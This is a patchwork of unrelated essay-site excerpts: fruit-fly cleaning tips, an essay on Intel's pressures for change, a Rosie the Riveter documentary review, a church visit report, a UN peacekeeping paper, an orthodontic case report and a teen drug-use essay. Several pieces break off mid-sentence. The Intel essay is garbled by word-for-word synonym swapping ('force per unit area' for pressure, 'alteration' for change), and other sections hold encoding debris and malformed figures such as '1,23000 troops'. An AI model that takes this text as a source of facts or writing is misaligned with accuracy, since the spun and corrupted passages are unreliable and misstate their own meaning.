kitchen. If you have a particularly stubborn fruit fly infestation, it may take some elbow grease to eliminate all of their food sources. Check the lip of your kitchen sink. There could there be food bits underneath it. Clean the burner drip pans and lift the stovetop, if possible, to remove spilled food, and check under the refrigerator for sticky spots where juice may have spilled. 10. When Canning, Make Sure Jars are Sealed Securely Not everyone is into home canning but if you are, you should know that a fruit fly infestation can sometimes be traced to even one improperly sealed jar of fruit preserves. If you keep a supply of homemade jellies or sauces on hand, take some time to doublecheck that all the seals are closed tightly. As much as a fruitfly would take delight in supping on something youd inadvertently left open, you wouldnt want to dine on anything that came from an improperly sealed jar anyway, right?

Environmental Pressures for Change Essay Example

Environmental Pressures for Change Essay Example Environmental Pressures for Change Essay Environmental Pressures for Change Essay Of the environmental force per unit areas for alteration. I believe hyper competition and market diminution were the force per unit areas experienced by Intel. The ground I believe this is because in the instance survey Barrett talked about its challenger Micro Devices and how he felt the fight that was among them. In the reading it states. Barrett felt that in this competitory and metameric market. Intel needed to be reorganized to do it more agile ( Palmer et. Al. 2009 ) . When you think about it. some of the greatest challenges that are faced by leaders of today are the ability to remain competitory. There are changeless breaks that can be seen and it is up to the company to avoid them or maintain them under control. Barrett recognized that he needed to do a move so his competition would non run over him. In the survey. reorganisation was a chief point as Barrett was involved in many during his first three old ages. I believe Barrett saw this reorganisation as a manner to acquire in front of the competition and to look at new chances. In mention to market diminution. Barrett and Intel tried to manage what was go oning. Since 9/11 the industry was affected in a major manner. and the diminution of the economic system was one of the large grounds. Intel was now acquiring worried about Micro Devices being able to bring forth a faster bit. Internal Pressures for Change Based on the internal presures at Intel. I feel that growing was the one Barrett was confronting. From the instance survey. Barrett was systematically covering with internal force per unit area. He was ever seeking to reorganise his undertakings and some employees were seeing that he was get downing many undertakings without finishing the 1s that he started. It was being referred to as shuffling White House like cards ( Palmer et. Al. 2009 ) . While covering with the growing alteration. Barrett had purposes to alter some of the civilization that the company was all about. In my sentiment he saw growing as a manner to regenerate his occupation satisfaction. Even though this was non a new organisation. I think Barrett felt that he would seek and convey a different type of feel to the company ; one that would let for the internal challenge of growing to be met caput on. Limits to Change I believe there are bounds to the alteration that can be accomplished at Intel due to the fact that Barrett was taking on and seeking to integrate excessively many alterations without following through on a individual 1. In his ain head I feel he was ever seeking to make that following topographic point that would take Intel to the top of package. What I feel he did non understand was when you are covering with bounds to alter at Intel. it has to affect the determination doing squad as a whole. At that point different members of the squad are at that place to manage the bounds to alter with proper communicating. They do this by replying inquiries every bit good as the expostulations before they are put into consequence. If this is non completed with good communicating. so there will be a battle for alteration which limits organisations in a hapless manner. Directors and the Pressures that Lead to Change For directors and leaders likewise. force per unit area that lead to alter could sometimes be overpowering. To hold a apprehension of the force per unit areas a director must accept that alteration demands to be an effectual system that the cuture of the organisation embraces from the start. A ground for this is to maintain the motive at a high degree at the same clip cognizing what drives your employees to make that degree. Change is nerve-racking plenty but when you incorporate it into the work force. it gets even more ambitious. That is why holding a clear and personal apprehension of the force per unit areas why allow directors to pull off the force per unit areas that lead to alter. Reacting to the challenges is what employees do good. and it is the alteration that can rasie uncertainty throughout the workplace. Motivation continues to be a cardinal factor that gives directors an upper manus when it comes to holding success with an organisation. Lack of motive will turn out dearly-won in the terminal and envitably take to force per unit areas fof alteration. Most people are motivated by the same types of things. whether it is success. felicity or money. To pull off the force per unit area for alteration. senior leaders need the committedness or purchase in from the staff in order for an effectual alteration to happen. Mentions Palmer. I. . Dunford. R. . A ; Akin. G. ( 2009 ) . Pull offing Organizational Change. New York: Mcgraw-Hill Irwin.

The life and times of rosie the riveter Movie Review

The life and times of rosie the riveter - Movie Review Example The documentary The Life and Times of Rosie the Riveter is 60-minutes long and it mixes black and white newsreel footage. The director also incorporates color-filmed interviews of five women working in the defense plants during World War II including Wanita Allen, Gladys Belcher, Lyn Childs, Lola Weixel and Margaret Wright. Most importantly, the documentary offers these women’s views about the wartime propaganda relating to female defense workers of the period. The wartime experiences offered by these ‘Rosies’ clearly reflect the general mood of the women working in defense plants of the U.S. during World War II, because they belonged to different backgrounds such as Illinois, Arkansas farms, Brooklyn, and Detroit and they include three black women and two white. Therefore, The Life and Times of Rosie the Riveter has been highly regarded for its life-like presentation as well as views of the condition of the women working in defense plants and this documentary fil m has been an important topic of discussion since its original release in 1980. Through the interviews with these ‘Rosies’, the audience become conscious about the unusual working conditions created by the high-pressured war production drive. The views of the women working in defense plants also help the viewers in recognizing various threats to women’s liberation during the period. â€Å"The film suggests that in the manipulation of public images of wartime women, the government, employers and media were pushing hard the traditional view of Woman as Housewife to suppress the runaway implications of women doing mens work so successfully, with the pride and camaraderie that wartime working conditions engendered.† (Davenport) As the documentary projects the women being interviewed in their present environment, the viewers get a convincing illustration of their condition during the World War II. In a

Field inventory Essay Example | Topics and Well Written Essays - 1250 words - 1

Field inventory - Essay Example e of the church is captured in their website that acknowledges that visiting a new church can be quite an intimidating experience, and, therefore, it is the objective to make any visitor to feel welcomed and at home as much as possible. I had previously visited this church in 2013 and had gathered quite a considerable amount of information from those two visits. The members of the church participate in intense praise and worship sessions. The worship takes various different forms in the church and include hymns of praise, prayers sessions, conduction of praise sessions together with the accompaniment of instruments such as the guitar, tambourine. This also includes the creation of a warm and welcoming environment as done by the welcoming committee at the door that welcome the worshippers with a handshake and a warm smile. Their services start at 9.30 am each Sunday morning which are also available as podcasts for downloading and online listening. There are different types of services to serve the different age groups that exist in the church. Therefore they have different services for the adults as in the parents, the young adults and for the smaller children. The atmosphere at CCML is a very friendly one and I was constantly getting introductions to individuals that were ready to welcome me and offer their assistance in incorporating me into the church community. I had the chance of meeting a senior member of the church who has a son that works with one of the biggest firms in Saudi Arabia. We exchanged our contact information promising to assist each other if the need to do so ever arose. I started to get to know the operation of the church and its core mission within the society. The mission of the organization is phrased as knowing, growing and loving. The church’s mission is to worship together as a community made up of a group of closely knit members, who grow and obtain spiritual maturity through discipleship, and education. The mission of the Chu rch is to

UNO Peace Keeping Operation in Middle East Research Paper

UNO Peace Keeping Operation in Middle East - Research Paper Example Earlier after First World War, League of Nation was established for this purpose but it failed and Second World War started. In 1941 Franklin D. Roosevelt, the President of United States of America had a meeting with Winston Churchill, the Prime Minister of United Kingdom of Great Britain. It paved the way to Atlantic Charter, which referred to a set of principles to maintain global peace and cooperation among the comity of nations. After two years in 1943, both the leaders, along with Joseph Stalin of Russia, emphasized to establish an organization to maintain international peace. In 1944, at Dumbarton Oaks conference in Washington D.C., the first sketch of UN was drawn and in February 1945, these three leaders established a voting process for the United Nations (Webel and Galtung 2007, 95)1. In 1945, in San Francisco, legislative body of 50 countries had a joint agreement to save the world from the barbaric consequences of war. In addition, to maintain security UNO charter includes poverty reduction, providing health and education facilities and provide financial assistant to needy members (Barash and Webel, 2008) . To maintain peace in the world UNO has established special subsidiary known as United Nation peace keeping operation it help countries to deal with disturb and quarrelling areas. The major division of the United Nations for peacekeeping is Security Council. It has 15 members out of which five permanent member nations have the power to veto any kind of decision even if most of the members agree to a resolution. These permanent five members having power to veto any resolution are: France, Russia, China, United Kingdom, and United States of America. These countries took part in the formation of United Nations and defined certain norms for United Nations to be followed (Durch 1993, 23-85)3. Therefore, an entire change in their biased approach is strongly needed and their mistakes of past should not be repeated again. This revolutionary change can only take place if the members of the UN make proper and unbiased use of their veto power beyond any prejudice and ambiguity and merely in favour of justice. As per statistics of December 31,2010, there are about 1,23000 troops working at 16 sites under the UN Department of Peacekeeping Operations(DPKO) in the four continents directly impacting hundreds and millions of people by saving their lives and providing security to the instable areas of the world. The UN peacekeeping operation does not have the troops of its own; instead it depends on the contribution by Member states, therefore, 115 countries have engaged their military and police personnel in line with UN peacekeeping mission (Collier and Hoeffler, 2004)4. The first task UNPKO took was during 1950’s .In 1960 one of complex and controversial task assign to UNPKO was Congo mission which lasted till June 1964.UN was successful in its mission but committed some mistakes ( Sitkowski 2006, 206-96)5. The UN peacekeeping force entered Congo as a neutral entity to enact law and order. After two years it started to support actively the Congolese government for the secession of the province of Katanga. The transformation of UN from a neutral peace keeper to an evident quarrelsome was observed. Although UN was succeeded in achieving its basic mission in Congo, but at the end of crisis it was not crowned as true peace keeper force (Barash and Webel 2008, 506)6. Similarly when the Beirut force was established, principles of

Approaches to Correction of Class III Skeletal Malocclusion

Approaches to Correction of Class III Skeletal Malocclusion Combined Orthodontic and Surgical Approach in the Correction of Class III Skeletal Malocclusion Dr. Abdulaziz AlShahrani Astrac While growth modification and camouflage orthodontic treatment offers a limited solution in treating some skeletal Class III malocclusion depending on the age of the patient , Underlying skeletal severity, alignment of the teeth and the vertical facial proportions, a combination of surgical and Orthodontic therapy is the treatment of choice in all severe skeletal Class III malocclusion. In this case report I present a combination of surgical-orthodontic therapy for an adult female patient with skeletal class III malocclusion which resulted in good skeletal, dental and soft tissue relationship, with marked improvement in function and facial esthetics. Keywords:Class III malocclusion, Orthognathic Surgery, surgical orthodontics Introduction Class III malocclusion is considered to be one of the most difficult and complex orthodontic problems to treat. The prevalence of class III malocclusion has been reported to be as low as 3-5% in the Caucasian population, but is higher in the Chinese and Japanese population (4-13%) (Often associated with maxillary retrusion)[i],[ii],[iii]. The etiology of class III is complex and multifactorial. However, there is usually a strong genetic contribution. Genetic factor is one of the etiological factors where one third of children with severe Class III had a parent with the same problem and one-sixth had an affected sibling[iv]. Racial tendency may play a role as the blacks have shown higher incidence than white’s[v].Environmental factors appear to play an adaptiverole in the etiology of Class III malocclusion[vi].Class III malocclusion can be associated with other factors such as cleft palate[vii]. Individuals with class III malocclusion show combinations of skeletal and dentoalveolar components. Class III malocclusion may occur as a result of protrusive mandible, retrusive maxilla, combination of both[viii]. While the most commonly found Class III malocclusion (30%) showed a combination of mandibular protrusion and maxillary retrusion, Maxillary retrusion alone was found in 19.5% of the sample and Mandibular protrusion alone was found in 19.1% of the sample[ix].These complex nature of class III requirea careful planning, amultidisciplinary approach and patient cooperation[x]. CaseReport A 17-year-old caucasian girl presented for orthodontic treatment because of referral from her dentist with primary complaint of un-esthetic facial and dental appearance. She has a hyper-divergent Class III skeletal and dental relationship. This is characterized by retrognathic maxilla, retroclined lower anterior teeth, with maximum active opening of 47mm with 5mm negative overjet and lateral excursions of 7 mm to both right and left sides. The patient has an ovoid, relatively asymmetrical face with chin slightly deviated to the left. The lip line at rest displayed approximately 2 mm of upper incisor. At full animation there was 7mm of upper incisal display and 2 mm of lower incisal edge. She has a slightly concave profile, and competent lips[Figure1]. Pretreatment extra oral photos Intraorally, the oral mucosa was healthy. There were no periodontal pockets present. The gingival tissues were inflamed especially around the prosthetic crowns. There was no bleeding tendency except sometimes with brushing. Free gingival margins were near to the CEJ and attached gingiva was of normal width throughout the mouth. The frenal attachments in both arches were normal. The tongue was normal in size, function and appearance. Teeth # 26, 36 and 46 have been crowned. There was a lingual arch placed one year ago to maintain lower incisors position. Occlusion analysis, she was in the permanent dentition and the 3rd molars were un-erupted. She has good oral hygiene. Frontal view: Shows a dental midline discrepancy. The lower dental midline is coincident with the facial midline while the upper midline is not coincident with the facial midline it’s off to the left by 2.5mm, the occlusal planewas slightly canted to the left. A negative overjet of 5 mm reported.Right and left Lateral Views Shows the canines and molars in Class III relationships. The upper occlusal view shows a U-shaped arch with well aligned anterior segment. The lower occlusal view reveals a U-shaped arch with crowding of 3.9mmà ¢Ã¢â€š ¬Ã¢â‚¬ ¹[Figure 2]. TREATMENT OBJECTIVES Our objective is to address compensated lower incisors by proclining them to the ideal position and inclination followed by increasing the horizontal projection of the maxilla to correct upper jaw retrognathism, concave profile, class III dental relationshipand negative overiet. Increased lower facial height and hyper-divergence will be corrected byautorotation of the mandible after the advancement of the maxilla and vertical reduction genioplasty.Mandibular asymmetry will be corrected by BSSO while maintaining lower incisor position. TREATMENT PROGRESS We started Pre-surgical orthodontics using self-ligation bracket system (Roth prescription, 022†slot). Leveling and alignment of maxillary and mandibular arches began with round 0.016 niti arch wires progressing to 0.0170.025 niti arch wires. Patient was referred to extract all 3rd molars at this stage. Coordinated 0.0190.025 Stainless steel then used for arch coordination before sending the patient for surgical procedure[Figures 67]. All the movement and prediction were planned on pre-surgical lateral cephalometric x-ray using Moorres mesh as a guide. A sheet of tracing paper over the original tracing and the outline of the mandible was drawn and trimmed making a template, another template for the maxilla was produced and placed in the post-surgical position. The mandibular autorotation then simulated accordingly. The soft tissue contours then drawn using the guidelines in literatures[xi],[xii],[xiii][Figure8]. Centric relationship of Upper and lower jaws was recorded and Face bow transfer and articulation of models on a semi-adjustable articulator was done. Model surgery then performed using Erickson model blockandacrylic inter occlusal wafer splint was produced. Le fort I osteotomywas performed to advance the maxilla for 7.1 mm and Bilateral sagittal split osteotomy was carried out to correct mandibular asymmetry while maintaining the A-P position of the mandible. Vertical reduction and advancement (4mm each) genioplastythen performed to address the increased lower facial height and achieve esthetically acceptable facial profile. Rigid type of fixations were used in both arches. The patient was followed closely and the post-surgical Orthodontic was resumed 3 weeks after surgery. 0.0190.025 stainless steel changed to 0.021 Ãâ€" 0.025stainless steel to express the torque. Finishing was performed with settling elastics[figures9-12]. Six months later, fixed appliances were removed and lower fixed retainer 3-3 was cemented along with upper and lower Hawley’s retainers [figures 13 14]. Cephalometric finding shows a good skeletal, dental and soft tissue relationship and improvement in the function and facial esthetics[Table 2, Figures15-17]. pre- and post-treatment cephalometrictracings Discussion This case report presents a combination of surgical and orthodontic therapy for an adult female patient with skeletal and dental class III malocclusion. The magnitude of the problem was so severe and lies outside the envelope of possible correction by orthodontics alone[xiv]. In growing patients, early treatment with maxillary expansion and protraction can result in straightening of profile after 6 months[xv]. It can also promote more favorable psychosocial development and greater compliance[xvi]. Delaying treatment can lead to development of posterior cross bite and the subsequent development of facial asymmetry[xvii].During adulthood, correction of the Class III malocclusion usually requires complex surgical procedures to achieve a good skeletal, dental and soft tissue relationship and improve the function and facial esthetics[xviii]. In this case, our objective were achieved. Compensated lower incisors were address by proclining them to the ideal position and inclination in pre-surgical orthodontic treatmentwhile in post-surgical orthodontic treatment teeth were brought into settledocclusion. Normal skeletal relationship was achieved byLe fort I osteotomyto advance the maxilla, Bilateral sagittal split osteotomy to correct mandibular asymmetry while maintaining the A-P position of the mandible and vertical reduction and advancementgenioplasty [i] [ii] [iii] [iv] [v] [vi] [vii] [viii] [ix] [x] [xi]. [xii]. [xiii] [xiv] [xv] [xvi] [xvii] [xviii]

Dealing With Drugs :: essays research papers

My mother knew sports were the most important thing in my life. She tried to use my love of sports to keep me away from drugs. She told me drugs would keep me from performing at my best when I played football. But I had been reading the sports page since I was a little kid. I knew some of the best athletes in America were using drugs. Guys who could run a hundred yards in less than ten seconds were using drugs. They were doing great. Drugs weren’t hurting their performance. So I didn’t pay any attention to my mother’s warnings, and I started using drugs when I was fifteen (qtd. in Perkins and McMurtrie-Perkins 25-26). On the weekends, there is at least one party planned. Teens will find someway, no matter what to get either drunk or high. Many will lie, steal, or cheat so they can use. Some teens even spend an entire day trying to obtain their drugs of choice. Although many teens don’t use drugs because it is unacceptable, there is an increase in drug use among teens today, because sports athletes, movies, and music make it appear acceptable. It is true, of course, that athletes will and do get reprimanded for the use of drugs, but many still run the risk, and don’t get caught. They either use substances that are illegal in the sport or on the street. Steroids were first used by the Germans in World War II, then the Soviets started using them in sports in the late 1940’s(Cox). It seems that if an athlete gets caught with drugs they receive more publicity, young people see this and think that if they do drugs too then they will get more attention. Furthermore, Many young people consider athletes, actors, actresses, and musicians as role models. They try to model their lives after them, this, many times includes the celebrity’s drug use if they have used before. There are many biographies on television that deal with a celebrity and their drug use. Young people see these bios and think that drug use is just a part of growing up and that they will have to do it sometime so why not get it out of the way (Duncan). Undoubtedly, many actors and actresses have been involved in anti-drug campaigns; still many have been caught or confessed using drugs. They also play many roles in movies and shows in which they use drugs, granted older people know that they are only playing a role, but many younger viewers don’t.